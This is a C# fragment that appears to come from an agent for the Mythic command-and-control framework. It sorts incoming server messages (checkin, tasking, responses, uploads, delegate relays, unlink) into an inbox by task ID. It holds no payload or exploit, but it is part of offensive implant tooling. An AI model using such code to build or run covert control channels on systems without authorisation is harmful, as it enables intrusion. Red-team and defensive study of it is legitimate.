private void ForceStopAgent() { Inbox.AddMessage("is_active", false); CheckTaskingResponse msg = new CheckTaskingResponse() { action = "get_tasking", tasks = new Task[0], delegates = new Dictionary <string, string> [0], message_id = "" }; string strMsg = JsonConvert.SerializeObject(msg); SortMessages(strMsg); }
// returns a UUID of the task_id or get_tasking internal bool SortMessages(string message, string id = "") { string key = ""; string action; string msg; JToken messageId; if (message == null || message == "") { DebugWriteLine($"Empty message. Abort sort."); return(false); } JObject json = (JObject)JsonConvert.DeserializeObject(message); action = json.Value <string>("action"); if (json.TryGetValue("message_id", out messageId)) { key = messageId.ToString(); } DebugWriteLine($"Sorting message with action {action}..."); switch (action) { case "unlink": ForceStopAgent(); break; case "checkin": if (key == "") { key = "checkin-" + Guid.NewGuid().ToString(); } DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, message); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); break; case "get_tasking": if (key == "") { key = "get_tasking-" + Guid.NewGuid().ToString(); } DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, message); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); break; case "post_response": var resp = JsonConvert.DeserializeObject <MythicServerResponse>(message); if (resp.delegates != null && resp.delegates.Length > 0) { CheckTaskingResponse delegateMessage = new CheckTaskingResponse() { action = "get_tasking", tasks = new Task[0], delegates = resp.delegates, message_id = key }; string delegateMessageString = JsonConvert.SerializeObject(delegateMessage); SortMessages(delegateMessageString); } foreach (var response in resp.responses) { key = response.task_id; msg = JsonConvert.SerializeObject(response); DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, msg); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); } // Create a new TaskQueue key = "get_tasking-" + Guid.NewGuid().ToString(); break; case "upload": key = json.Value <string>("task_id"); DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, message); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); break; default: if (id == "") { throw new Exception("Couldn't parse message"); } Inbox.AddMessage(id, message); //throw new Exception($"Unsupported message type: {action}"); //return false; break; } return(true); }